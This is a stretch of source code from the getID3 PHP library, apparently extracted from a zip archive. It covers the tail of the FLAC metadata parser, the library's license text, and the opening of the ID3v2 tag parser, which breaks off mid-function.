		return $this->parseMETAdata();
	}

	/**
	 * @return bool
	 */
	public function parseMETAdata() {
		$info = &$this->getid3->info;
		do {
			$BlockOffset   = $this->ftell();
			$BlockHeader   = $this->fread(4);
			$LBFBT         = getid3_lib::BigEndian2Int(substr($BlockHeader, 0, 1));  // LBFBT = LastBlockFlag + BlockType
			$LastBlockFlag = (bool) ($LBFBT & 0x80);
			$BlockType     =        ($LBFBT & 0x7F);
			$BlockLength   = getid3_lib::BigEndian2Int(substr($BlockHeader, 1, 3));
			$BlockTypeText = self::metaBlockTypeLookup($BlockType);

			if (($BlockOffset + 4 + $BlockLength) > $info['avdataend']) {
				$this->warning('METADATA_BLOCK_HEADER.BLOCK_TYPE ('.$BlockTypeText.') at offset '.$BlockOffset.' extends beyond end of file');
				break;
			}
			if ($BlockLength < 1) {
				if ($BlockTypeText != 'reserved') {
					// probably supposed to be zero-length
					$this->warning('METADATA_BLOCK_HEADER.BLOCK_LENGTH ('.$BlockTypeText.') at offset '.$BlockOffset.' is zero bytes');
					continue;
				}
				$this->error('METADATA_BLOCK_HEADER.BLOCK_LENGTH ('.$BlockLength.') at offset '.$BlockOffset.' is invalid');
				break;
			}

			$info['flac'][$BlockTypeText]['raw'] = array();
			$BlockTypeText_raw = &$info['flac'][$BlockTypeText]['raw'];

			$BlockTypeText_raw['offset']          = $BlockOffset;
			$BlockTypeText_raw['last_meta_block'] = $LastBlockFlag;
			$BlockTypeText_raw['block_type']      = $BlockType;
			$BlockTypeText_raw['block_type_text'] = $BlockTypeText;
			$BlockTypeText_raw['block_length']    = $BlockLength;
			if ($BlockTypeText_raw['block_type'] != 0x06) { // do not read attachment data automatically
				$BlockTypeText_raw['block_data']  = $this->fread($BlockLength);
			}

			switch ($BlockTypeText) {
				case 'STREAMINFO':     // 0x00
					if (!$this->parseSTREAMINFO($BlockTypeText_raw['block_data'])) {
						return false;
					}
					break;

				case 'PADDING':        // 0x01
					unset($info['flac']['PADDING']); // ignore
					break;

				case 'APPLICATION':    // 0x02
					if (!$this->parseAPPLICATION($BlockTypeText_raw['block_data'])) {
						return false;
					}
					break;

				case 'SEEKTABLE':      // 0x03
					if (!$this->parseSEEKTABLE($BlockTypeText_raw['block_data'])) {
						return false;
					}
					break;

				case 'VORBIS_COMMENT': // 0x04
					if (!$this->parseVORBIS_COMMENT($BlockTypeText_raw['block_data'])) {
						return false;
					}
					break;

				case 'CUESHEET':       // 0x05
					if (!$this->parseCUESHEET($BlockTypeText_raw['block_data'])) {
						return false;
					}
					break;

				case 'PICTURE':        // 0x06
					if (!$this->parsePICTURE()) {
						return false;
					}
					break;

				default:
					$this->warning('Unhandled METADATA_BLOCK_HEADER.BLOCK_TYPE ('.$BlockType.') at offset '.$BlockOffset);
			}

			unset($info['flac'][$BlockTypeText]['raw']);
			$info['avdataoffset'] = $this->ftell();
		}
		while ($LastBlockFlag === false);

		// handle tags
		if (!empty($info['flac']['VORBIS_COMMENT']['comments'])) {
			$info['flac']['comments'] = $info['flac']['VORBIS_COMMENT']['comments'];
		}
		if (!empty($info['flac']['VORBIS_COMMENT']['vendor'])) {
			$info['audio']['encoder'] = str_replace('reference ', '', $info['flac']['VORBIS_COMMENT']['vendor']);
		}

		// copy attachments to 'comments' array if nesesary
		if (isset($info['flac']['PICTURE']) && ($this->getid3->option_save_attachments !== getID3::ATTACHMENTS_NONE)) {
			foreach ($info['flac']['PICTURE'] as $entry) {
				if (!empty($entry['data'])) {
					if (!isset($info['flac']['comments']['picture'])) {
						$info['flac']['comments']['picture'] = array();
					}
					$comments_picture_data = array();
					foreach (array('data', 'image_mime', 'image_width', 'image_height', 'imagetype', 'picturetype', 'description', 'datalength') as $picture_key) {
						if (isset($entry[$picture_key])) {
							$comments_picture_data[$picture_key] = $entry[$picture_key];
						}
					}
					$info['flac']['comments']['picture'][] = $comments_picture_data;
					unset($comments_picture_data);
				}
			}
		}

		if (isset($info['flac']['STREAMINFO'])) {
			if (!$this->isDependencyFor('matroska')) {
				$info['flac']['compressed_audio_bytes'] = $info['avdataend'] - $info['avdataoffset'];
			}
			$info['flac']['uncompressed_audio_bytes'] = $info['flac']['STREAMINFO']['samples_stream'] * $info['flac']['STREAMINFO']['channels'] * ($info['flac']['STREAMINFO']['bits_per_sample'] / 8);
			if ($info['flac']['uncompressed_audio_bytes'] == 0) {
				return $this->error('Corrupt FLAC file: uncompressed_audio_bytes == zero');
			}
			if (!empty($info['flac']['compressed_audio_bytes'])) {
				$info['flac']['compression_ratio'] = $info['flac']['compressed_audio_bytes'] / $info['flac']['uncompressed_audio_bytes'];
			}
		}

		// set md5_data_source - built into flac 0.5+
		if (isset($info['flac']['STREAMINFO']['audio_signature'])) {

			if ($info['flac']['STREAMINFO']['audio_signature'] === str_repeat("\x00", 16)) {
				$this->warning('FLAC STREAMINFO.audio_signature is null (known issue with libOggFLAC)');
			}
			else {
				$info['md5_data_source'] = '';
				$md5 = $info['flac']['STREAMINFO']['audio_signature'];
				for ($i = 0; $i < strlen($md5); $i++) {
					$info['md5_data_source'] .= str_pad(dechex(ord($md5[$i])), 2, '00', STR_PAD_LEFT);
				}
				if (!preg_match('/^[0-9a-f]{32}$/', $info['md5_data_source'])) {
					unset($info['md5_data_source']);
				}
			}
		}

		if (isset($info['flac']['STREAMINFO']['bits_per_sample'])) {
			$info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample'];
			if ($info['audio']['bits_per_sample'] == 8) {
				// special case
				// must invert sign bit on all data bytes before MD5'ing to match FLAC's calculated value
				// MD5sum calculates on unsigned bytes, but FLAC calculated MD5 on 8-bit audio data as signed
				$this->warning('FLAC calculates MD5 data strangely on 8-bit audio, so the stored md5_data_source value will not match the decoded WAV file');
			}
		}

		return true;
	}


	/**
	 * @param string $BlockData
	 *
	 * @return array
	 */
	public static function parseSTREAMINFOdata($BlockData) {
		$streaminfo = array();
		$streaminfo['min_block_size']  = getid3_lib::BigEndian2Int(substr($BlockData, 0, 2));
		$streaminfo['max_block_size']  = getid3_lib::BigEndian2Int(substr($BlockData, 2, 2));
		$streaminfo['min_frame_size']  = getid3_lib::BigEndian2Int(substr($BlockData, 4, 3));
		$streaminfo['max_frame_size']  = getid3_lib::BigEndian2Int(substr($BlockData, 7, 3));

		$SRCSBSS                       = getid3_lib::BigEndian2Bin(substr($BlockData, 10, 8));
		$streaminfo['sample_rate']     = getid3_lib::Bin2Dec(substr($SRCSBSS,  0, 20));
		$streaminfo['channels']        = getid3_lib::Bin2Dec(substr($SRCSBSS, 20,  3)) + 1;
		$streaminfo['bits_per_sample'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 23,  5)) + 1;
		$streaminfo['samples_stream']  = getid3_lib::Bin2Dec(substr($SRCSBSS, 28, 36));

		$streaminfo['audio_signature'] =                           substr($BlockData, 18, 16);

		return $streaminfo;
	}

	/**
	 * @param string $BlockData
	 *
	 * @return bool
	 */
	private function parseSTREAMINFO($BlockData) {
		$info = &$this->getid3->info;

		$info['flac']['STREAMINFO'] = self::parseSTREAMINFOdata($BlockData);

		if (!empty($info['flac']['STREAMINFO']['sample_rate'])) {

			$info['audio']['bitrate_mode']    = 'vbr';
			$info['audio']['sample_rate']     = $info['flac']['STREAMINFO']['sample_rate'];
			$info['audio']['channels']        = $info['flac']['STREAMINFO']['channels'];
			$info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample'];
			$info['playtime_seconds']         = $info['flac']['STREAMINFO']['samples_stream'] / $info['flac']['STREAMINFO']['sample_rate'];
			if ($info['playtime_seconds'] > 0) {
				if (!$this->isDependencyFor('matroska')) {
					$info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
				}
				else {
					$this->warning('Cannot determine audio bitrate because total stream size is unknown');
				}
			}

		} else {
			return $this->error('Corrupt METAdata block: STREAMINFO');
		}

		return true;
	}

	/**
	 * @param string $BlockData
	 *
	 * @return bool
	 */
	private function parseAPPLICATION($BlockData) {
		$info = &$this->getid3->info;

		$ApplicationID = getid3_lib::BigEndian2Int(substr($BlockData, 0, 4));
		$info['flac']['APPLICATION'][$ApplicationID]['name'] = self::applicationIDLookup($ApplicationID);
		$info['flac']['APPLICATION'][$ApplicationID]['data'] = substr($BlockData, 4);

		return true;
	}

	/**
	 * @param string $BlockData
	 *
	 * @return bool
	 */
	private function parseSEEKTABLE($BlockData) {
		$info = &$this->getid3->info;

		$offset = 0;
		$BlockLength = strlen($BlockData);
		$placeholderpattern = str_repeat("\xFF", 8);
		while ($offset < $BlockLength) {
			$SampleNumberString = substr($BlockData, $offset, 8);
			$offset += 8;
			if ($SampleNumberString == $placeholderpattern) {

				// placeholder point
				getid3_lib::safe_inc($info['flac']['SEEKTABLE']['placeholders'], 1);
				$offset += 10;

			} else {

				$SampleNumber                                        = getid3_lib::BigEndian2Int($SampleNumberString);
				$info['flac']['SEEKTABLE'][$SampleNumber]['offset']  = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
				$offset += 8;
				$info['flac']['SEEKTABLE'][$SampleNumber]['samples'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 2));
				$offset += 2;

			}
		}

		return true;
	}

	/**
	 * @param string $BlockData
	 *
	 * @return bool
	 */
	private function parseVORBIS_COMMENT($BlockData) {
		$info = &$this->getid3->info;

		$getid3_ogg = new getid3_ogg($this->getid3);
		if ($this->isDependencyFor('matroska')) {
			$getid3_ogg->setStringMode($this->data_string);
		}
		$getid3_ogg->ParseVorbisComments();
		if (isset($info['ogg'])) {
			unset($info['ogg']['comments_raw']);
			$info['flac']['VORBIS_COMMENT'] = $info['ogg'];
			unset($info['ogg']);
		}

		unset($getid3_ogg);

		return true;
	}

	/**
	 * @param string $BlockData
	 *
	 * @return bool
	 */
	private function parseCUESHEET($BlockData) {
		$info = &$this->getid3->info;
		$offset = 0;
		$info['flac']['CUESHEET']['media_catalog_number'] =                              trim(substr($BlockData, $offset, 128), "\0");
		$offset += 128;
		$info['flac']['CUESHEET']['lead_in_samples']      =         getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
		$offset += 8;
		$info['flac']['CUESHEET']['flags']['is_cd']       = (bool) (getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)) & 0x80);
		$offset += 1;

		$offset += 258; // reserved

		$info['flac']['CUESHEET']['number_tracks']        =         getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
		$offset += 1;

		for ($track = 0; $track < $info['flac']['CUESHEET']['number_tracks']; $track++) {
			$TrackSampleOffset = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
			$offset += 8;
			$TrackNumber       = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
			$offset += 1;

			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['sample_offset']         = $TrackSampleOffset;

			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['isrc']                  =                           substr($BlockData, $offset, 12);
			$offset += 12;

			$TrackFlagsRaw                                                             = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
			$offset += 1;
			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['flags']['is_audio']     = (bool) ($TrackFlagsRaw & 0x80);
			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['flags']['pre_emphasis'] = (bool) ($TrackFlagsRaw & 0x40);

			$offset += 13; // reserved

			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['index_points']          = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
			$offset += 1;

			for ($index = 0; $index < $info['flac']['CUESHEET']['tracks'][$TrackNumber]['index_points']; $index++) {
				$IndexSampleOffset = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
				$offset += 8;
				$IndexNumber       = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
				$offset += 1;

				$offset += 3; // reserved

				$info['flac']['CUESHEET']['tracks'][$TrackNumber]['indexes'][$IndexNumber] = $IndexSampleOffset;
			}
		}

		return true;
	}

	/**
	 * Parse METADATA_BLOCK_PICTURE flac structure and extract attachment
	 * External usage: audio.ogg
	 *
	 * @return bool
	 */
	public function parsePICTURE() {
		$info = &$this->getid3->info;

		$picture = array();
		$picture['typeid']         = getid3_lib::BigEndian2Int($this->fread(4));
		$picture['picturetype']    = self::pictureTypeLookup($picture['typeid']);
		$picture['image_mime']     = $this->fread(getid3_lib::BigEndian2Int($this->fread(4)));
		$descr_length              = getid3_lib::BigEndian2Int($this->fread(4));
		if ($descr_length) {
			$picture['description'] = $this->fread($descr_length);
		}
		$picture['image_width']    = getid3_lib::BigEndian2Int($this->fread(4));
		$picture['image_height']   = getid3_lib::BigEndian2Int($this->fread(4));
		$picture['color_depth']    = getid3_lib::BigEndian2Int($this->fread(4));
		$picture['colors_indexed'] = getid3_lib::BigEndian2Int($this->fread(4));
		$picture['datalength']     = getid3_lib::BigEndian2Int($this->fread(4));

		if ($picture['image_mime'] == '-->') {
			$picture['data'] = $this->fread($picture['datalength']);
		} else {
			$picture['data'] = $this->saveAttachment(
				str_replace('/', '_', $picture['picturetype']).'_'.$this->ftell(),
				$this->ftell(),
				$picture['datalength'],
				$picture['image_mime']);
		}

		$info['flac']['PICTURE'][] = $picture;

		return true;
	}

	/**
	 * @param int $blocktype
	 *
	 * @return string
	 */
	public static function metaBlockTypeLookup($blocktype) {
		static $lookup = array(
			0 => 'STREAMINFO',
			1 => 'PADDING',
			2 => 'APPLICATION',
			3 => 'SEEKTABLE',
			4 => 'VORBIS_COMMENT',
			5 => 'CUESHEET',
			6 => 'PICTURE',
		);
		return (isset($lookup[$blocktype]) ? $lookup[$blocktype] : 'reserved');
	}

	/**
	 * @param int $applicationid
	 *
	 * @return string
	 */
	public static function applicationIDLookup($applicationid) {
		// http://flac.sourceforge.net/id.html
		static $lookup = array(
			0x41544348 => 'FlacFile',                                                                           // "ATCH"
			0x42534F4C => 'beSolo',                                                                             // "BSOL"
			0x42554753 => 'Bugs Player',                                                                        // "BUGS"
			0x43756573 => 'GoldWave cue points (specification)',                                                // "Cues"
			0x46696361 => 'CUE Splitter',                                                                       // "Fica"
			0x46746F6C => 'flac-tools',                                                                         // "Ftol"
			0x4D4F5442 => 'MOTB MetaCzar',                                                                      // "MOTB"
			0x4D505345 => 'MP3 Stream Editor',                                                                  // "MPSE"
			0x4D754D4C => 'MusicML: Music Metadata Language',                                                   // "MuML"
			0x52494646 => 'Sound Devices RIFF chunk storage',                                                   // "RIFF"
			0x5346464C => 'Sound Font FLAC',                                                                    // "SFFL"
			0x534F4E59 => 'Sony Creative Software',                                                             // "SONY"
			0x5351455A => 'flacsqueeze',                                                                        // "SQEZ"
			0x54745776 => 'TwistedWave',                                                                        // "TtWv"
			0x55495453 => 'UITS Embedding tools',                                                               // "UITS"
			0x61696666 => 'FLAC AIFF chunk storage',                                                            // "aiff"
			0x696D6167 => 'flac-image application for storing arbitrary files in APPLICATION metadata blocks',  // "imag"
			0x7065656D => 'Parseable Embedded Extensible Metadata (specification)',                             // "peem"
			0x71667374 => 'QFLAC Studio',                                                                       // "qfst"
			0x72696666 => 'FLAC RIFF chunk storage',                                                            // "riff"
			0x74756E65 => 'TagTuner',                                                                           // "tune"
			0x78626174 => 'XBAT',                                                                               // "xbat"
			0x786D6364 => 'xmcd',                                                                               // "xmcd"
		);
		return (isset($lookup[$applicationid]) ? $lookup[$applicationid] : 'reserved');
	}

	/**
	 * @param int $type_id
	 *
	 * @return string
	 */
	public static function pictureTypeLookup($type_id) {
		static $lookup = array (
			 0 => 'Other',
			 1 => '32x32 pixels \'file icon\' (PNG only)',
			 2 => 'Other file icon',
			 3 => 'Cover (front)',
			 4 => 'Cover (back)',
			 5 => 'Leaflet page',
			 6 => 'Media (e.g. label side of CD)',
			 7 => 'Lead artist/lead performer/soloist',
			 8 => 'Artist/performer',
			 9 => 'Conductor',
			10 => 'Band/Orchestra',
			11 => 'Composer',
			12 => 'Lyricist/text writer',
			13 => 'Recording Location',
			14 => 'During recording',
			15 => 'During performance',
			16 => 'Movie/video screen capture',
			17 => 'A bright coloured fish',
			18 => 'Illustration',
			19 => 'Band/artist logotype',
			20 => 'Publisher/Studio logotype',
		);
		return (isset($lookup[$type_id]) ? $lookup[$type_id] : 'reserved');
	}

}
PKE]%,ttlicense.txtnuW+A/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or https://www.getid3.org                        //
//          also https://github.com/JamesHeinrich/getID3       //
/////////////////////////////////////////////////////////////////

*****************************************************************
*****************************************************************

   getID3() is released under multiple licenses. You may choose
   from the following licenses, and use getID3 according to the
   terms of the license most suitable to your project.

GNU GPL: https://gnu.org/licenses/gpl.html                   (v3)
         https://gnu.org/licenses/old-licenses/gpl-2.0.html  (v2)
         https://gnu.org/licenses/old-licenses/gpl-1.0.html  (v1)

GNU LGPL: https://gnu.org/licenses/lgpl.html                 (v3)

Mozilla MPL: https://www.mozilla.org/MPL/2.0/                (v2)

getID3 Commercial License: https://www.getid3.org/#gCL
(no longer available, existing licenses remain valid)

*****************************************************************
*****************************************************************

Copies of each of the above licenses are included in the 'licenses'
directory of the getID3 distribution.
PKE]0@\\module.tag.id3v2.phpnuW+A<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
///                                                            //
// module.tag.id3v2.php                                        //
// module for analyzing ID3v2 tags                             //
// dependencies: module.tag.id3v1.php                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v1.php', __FILE__, true);

class getid3_id3v2 extends getid3_handler
{
	public $StartingOffset = 0;

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		//    Overall tag structure:
		//        +-----------------------------+
		//        |      Header (10 bytes)      |
		//        +-----------------------------+
		//        |       Extended Header       |
		//        | (variable length, OPTIONAL) |
		//        +-----------------------------+
		//        |   Frames (variable length)  |
		//        +-----------------------------+
		//        |           Padding           |
		//        | (variable length, OPTIONAL) |
		//        +-----------------------------+
		//        | Footer (10 bytes, OPTIONAL) |
		//        +-----------------------------+

		//    Header
		//        ID3v2/file identifier      "ID3"
		//        ID3v2 version              $04 00
		//        ID3v2 flags                (%ab000000 in v2.2, %abc00000 in v2.3, %abcd0000 in v2.4.x)
		//        ID3v2 size             4 * %0xxxxxxx


		// shortcuts
		$info['id3v2']['header'] = true;
		$thisfile_id3v2                  = &$info['id3v2'];
		$thisfile_id3v2['flags']         =  array();
		$thisfile_id3v2_flags            = &$thisfile_id3v2['flags'];


		$this->fseek($this->StartingOffset);
		$header = $this->fread(10);
		if (substr($header, 0, 3) == 'ID3'  &&  strlen($header) == 10) {

			$thisfile_id3v2['majorversion'] = ord($header[3]);
			$thisfile_id3v2['minorversion'] = ord($header[4]);

			// shortcut
			$id3v2_majorversion = &$thisfile_id3v2['majorversion'];

		} else {

			unset($info['id3v2']);
			return false;

		}

		if ($id3v2_majorversion > 4) { // this script probably won't correctly parse ID3v2.5.x and above (if it ever exists)

			$this->error('this script only parses up to ID3v2.4.x - this tag is ID3v2.'.$id3v2_majorversion.'.'.$thisfile_id3v2['minorversion']);
			return false;

		}

		$id3_flags = ord($header[5]);
		switch ($id3v2_majorversion) {
			case 2:
				// %ab000000 in v2.2
				$thisfile_id3v2_flags['unsynch']     = (bool) ($id3_flags & 0x80); // a - Unsynchronisation
				$thisfile_id3v2_flags['compression'] = (bool) ($id3_flags & 0x40); // b - Compression
				break;

			case 3:
				// %abc00000 in v2.3
				$thisfile_id3v2_flags['unsynch']     = (bool) ($id3_flags & 0x80); // a - Unsynchronisation
				$thisfile_id3v2_flags['exthead']     = (bool) ($id3_flags & 0x40); // b - Extended header
				$thisfile_id3v2_flags['experim']     = (bool) ($id3_flags & 0x20); // c - Experimental indicator
				break;

			case 4:
				// %abcd0000 in v2.4
				$thisfile_id3v2_flags['unsynch']     = (bool) ($id3_flags & 0x80); // a - Unsynchronisation
				$thisfile_id3v2_flags['exthead']     = (bool) ($id3_flags & 0x40); // b - Extended header
				$thisfile_id3v2_flags['experim']     = (bool) ($id3_flags & 0x20); // c - Experimental indicator
				$thisfile_id3v2_flags['isfooter']    = (bool) ($id3_flags & 0x10); // d - Footer present
				break;
		}

		$thisfile_id3v2['headerlength'] = getid3_lib::BigEndian2Int(substr($header, 6, 4), 1) + 10; // length of ID3v2 tag in 10-byte header doesn't include 10-byte header length

		$thisfile_id3v2['tag_offset_start'] = $this->StartingOffset;
		$thisfile_id3v2['tag_offset_end']   = $thisfile_id3v2['tag_offset_start'] + $thisfile_id3v2['headerlength'];



		// create 'encoding' key - used by getid3::HandleAllTags()
		// in ID3v2 every field can have it's own encoding type
		// so force everything to UTF-8 so it can be handled consistantly
		$thisfile_id3v2['encoding'] = 'UTF-8';


	//    Frames

	//        All ID3v2 frames consists of one frame header followed by one or more
	//        fields containing the actual information. The header is always 10
	//        bytes and laid out as follows:
	//
	//        Frame ID      $xx xx xx xx  (four characters)
	//        Size      4 * %0xxxxxxx
	//        Flags         $xx xx

		$sizeofframes = $thisfile_id3v2['headerlength'] - 10; // not including 10-byte initial header
		if (!empty($thisfile_id3v2['exthead']['length'])) {
			$sizeofframes -= ($thisfile_id3v2['exthead']['length'] + 4);
		}
		if (!empty($thisfile_id3v2_flags['isfooter'])) {
			$sizeofframes -= 10; // footer takes last 10 bytes of ID3v2 header, after frame data, before audio
		}
		if ($sizeofframes > 0) {

			$framedata = $this->fread($sizeofframes); // read all frames from file into $framedata variable

			//    if entire frame data is unsynched, de-unsynch it now (ID3v2.3.x)
			if (!empty($thisfile_id3v2_flags['unsynch']) && ($id3v2_majorversion <= 3)) {
				$framedata = $this->DeUnsynchronise($framedata);
			}
			//        [in ID3v2.4.0] Unsynchronisation [S:6.1] is done on frame level, instead
			//        of on tag level, making it easier to skip frames, increasing the streamability
			//        of the tag. The unsynchronisation flag in the header [S:3.1] indicates that
			//        there exists an unsynchronised frame, while the new unsynchronisation flag in
			//        the frame header [S:4.1.2] indicates unsynchronisation.


			//$framedataoffset = 10 + ($thisfile_id3v2['exthead']['length'] ? $thisfile_id3v2['exthead']['length'] + 4 : 0); // how many bytes into the stream - start from after the 10-byte header (and extended header length+4, if present)
			$framedataoffset = 10; // how many bytes into the stream - start from after the 10-byte header


			//    Extended Header
			if (!empty($thisfile_id3v2_flags['exthead'])) {
				$extended_header_offset = 0;

				if ($id3v2_majorversion == 3) {

					// v2.3 definition:
					//Extended header size  $xx xx xx xx   // 32-bit integer
					//Extended Flags        $xx xx
					//     %x0000000 %00000000 // v2.3
					//     x - CRC data present
					//Size of padding       $xx xx xx xx

					$thisfile_id3v2['exthead']['length'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4), 0);
					$extended_header_offset += 4;

					$thisfile_id3v2['exthead']['flag_bytes'] = 2;
					$thisfile_id3v2['exthead']['flag_raw'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $thisfile_id3v2['exthead']['flag_bytes']));
					$extended_header_offset += $thisfile_id3v2['exthead']['flag_bytes'];

					$thisfile_id3v2['exthead']['flags']['crc'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x8000);

					$thisfile_id3v2['exthead']['padding_size'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4));
					$extended_header_offset += 4;

					if ($thisfile_id3v2['exthead']['flags']['crc']) {
						$thisfile_id3v2['exthead']['flag_data']['crc'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4));
						$extended_header_offset += 4;
					}
					$extended_header_offset += $thisfile_id3v2['exthead']['padding_size'];

				} elseif ($id3v2_majorversion == 4) {

					// v2.4 definition:
					//Extended header size   4 * %0xxxxxxx // 28-bit synchsafe integer
					//Number of flag bytes       $01
					//Extended Flags             $xx
					//     %0bcd0000 // v2.4
					//     b - Tag is an update
					//         Flag data length       $00
					//     c - CRC data present
					//         Flag data length       $05
					//         Total frame CRC    5 * %0xxxxxxx
					//     d - Tag restrictions
					//         Flag data length       $01

					$thisfile_id3v2['exthead']['length'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4), true);
					$extended_header_offset += 4;

					$thisfile_id3v2['exthead']['flag_bytes'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should always be 1
					$extended_header_offset += 1;

					$thisfile_id3v2['exthead']['flag_raw'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $thisfile_id3v2['exthead']['flag_bytes']));
					$extended_header_offset += $thisfile_id3v2['exthead']['flag_bytes'];

					$thisfile_id3v2['exthead']['flags']['update']       = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x40);
					$thisfile_id3v2['exthead']['flags']['crc']          = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x20);
					$thisfile_id3v2['exthead']['flags']['restrictions'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x10);

					if ($thisfile_id3v2['exthead']['flags']['update']) {
						$ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 0
						$extended_header_offset += 1;
					}

					if ($thisfile_id3v2['exthead']['flags']['crc']) {
						$ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 5
						$extended_header_offset += 1;
						$thisfile_id3v2['exthead']['flag_data']['crc'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $ext_header_chunk_length), true, false);
						$extended_header_offset += $ext_header_chunk_length;
					}

					if ($thisfile_id3v2['exthead']['flags']['restrictions']) {
						$ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 1
						$extended_header_offset += 1;

						// %ppqrrstt
						$restrictions_raw = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1));
						$extended_header_offset += 1;
						$thisfile_id3v2['exthead']['flags']['restrictions']['tagsize']  = ($restrictions_raw & 0xC0) >> 6; // p - Tag size restrictions
						$thisfile_id3v2['exthead']['flags']['restrictions']['textenc']  = ($restrictions_raw & 0x20) >> 5; // q - Text encoding restrictions
						$thisfile_id3v2['exthead']['flags']['restrictions']['textsize'] = ($restrictions_raw & 0x18) >> 3; // r - Text fields size restrictions
						$thisfile_id3v2['exthead']['flags']['restrictions']['imgenc']   = ($restrictions_raw & 0x04) >> 2; // s - Image encoding restrictions
						$thisfile_id3v2['exthead']['flags']['restrictions']['imgsize']  = ($restrictions_raw & 0x03) >> 0; // t - Image size restrictions

						$thisfile_id3v2['exthead']['flags']['restrictions_text']['tagsize']  = $this->LookupExtendedHeaderRestrictionsTagSizeLimits($thisfile_id3v2['exthead']['flags']['restrictions']['tagsize']);
						$thisfile_id3v2['exthead']['flags']['restrictions_text']['textenc']  = $this->LookupExtendedHeaderRestrictionsTextEncodings($thisfile_id3v2['exthead']['flags']['restrictions']['textenc']);
						$thisfile_id3v2['exthead']['flags']['restrictions_text']['textsize'] = $this->LookupExtendedHeaderRestrictionsTextFieldSize($thisfile_id3v2['exthead']['flags']['restrictions']['textsize']);
						$thisfile_id3v2['exthead']['flags']['restrictions_text']['imgenc']   = $this->LookupExtendedHeaderRestrictionsImageEncoding($thisfile_id3v2['exthead']['flags']['restrictions']['imgenc']);
						$thisfile_id3v2['exthead']['flags']['restrictions_text']['imgsize']  = $this->LookupExtendedHeaderRestrictionsImageSizeSize($thisfile_id3v2['exthead']['flags']['restrictions']['imgsize']);
					}

					if ($thisfile_id3v2['exthead']['length'] != $extended_header_offset) {
						$this->warning('ID3v2.4 extended header length mismatch (expecting '.intval($thisfile_id3v2['exthead']['length']).', found '.intval($extended_header_offset).')');
					}
				}

				$framedataoffset += $extended_header_offset;
				$framedata = substr($framedata, $extended_header_offset);
			} // end extended header


			while (isset($framedata) && (strlen($framedata) > 0)) { // cycle through until no more frame data is left to parse
				if (strlen($framedata) <= $this->ID3v2HeaderLength($id3v2_majorversion)) {
					// insufficient room left in ID3v2 header for actual data - must be padding
					$thisfile_id3v2['padding']['start']  = $framedataoffset;
					$thisfile_id3v2['padding']['length'] = strlen($framedata);
					$thisfile_id3v2['padding']['valid']  = true;
					for ($i = 0; $i < $thisfile_id3v2['padding']['length']; $i++) {
						if ($framedata[$i] != "\x00") {
							$thisfile_id3v2['padding']['valid'] = false;
							$thisfile_id3v2['padding']['errorpos'] = $thisfile_id3v2['padding']['start'] + $i;
							$this->warning('Invalid ID3v2 padding found at offset '.$thisfile_id3v2['padding']['errorpos'].' (the remaining '.($thisfile_id3v2['padding']['length'] - $i).' bytes are considered invalid)');
							break;
						}
					}
					break; // skip rest of ID3v2 header
				}
				$frame_header = null;
				$frame_name   = null;
				$frame_size   = null;
				$frame_flags  = null;
				if ($id3v2_majorversion == 2) {
					// Frame ID  $xx xx xx (three characters)
					// Size      $xx xx xx (24-bit integer)
					// Flags     $xx xx

					$frame_header = substr($framedata, 0, 6); // take next 6 bytes for header
					$framedata    = substr($framedata, 6);    // and leave the rest in $framedata
					$frame_name   = substr($frame_header, 0, 3);
					$frame_size   = getid3_lib::BigEndian2Int(substr($frame_header, 3, 3), 0);
					$frame_flags  = 0; // not used for anything in ID3v2.2, just set to avoid E_NOTICEs

				} elseif ($id3v2_majorversion > 2) {

					// Frame ID  $xx xx xx xx (four characters)
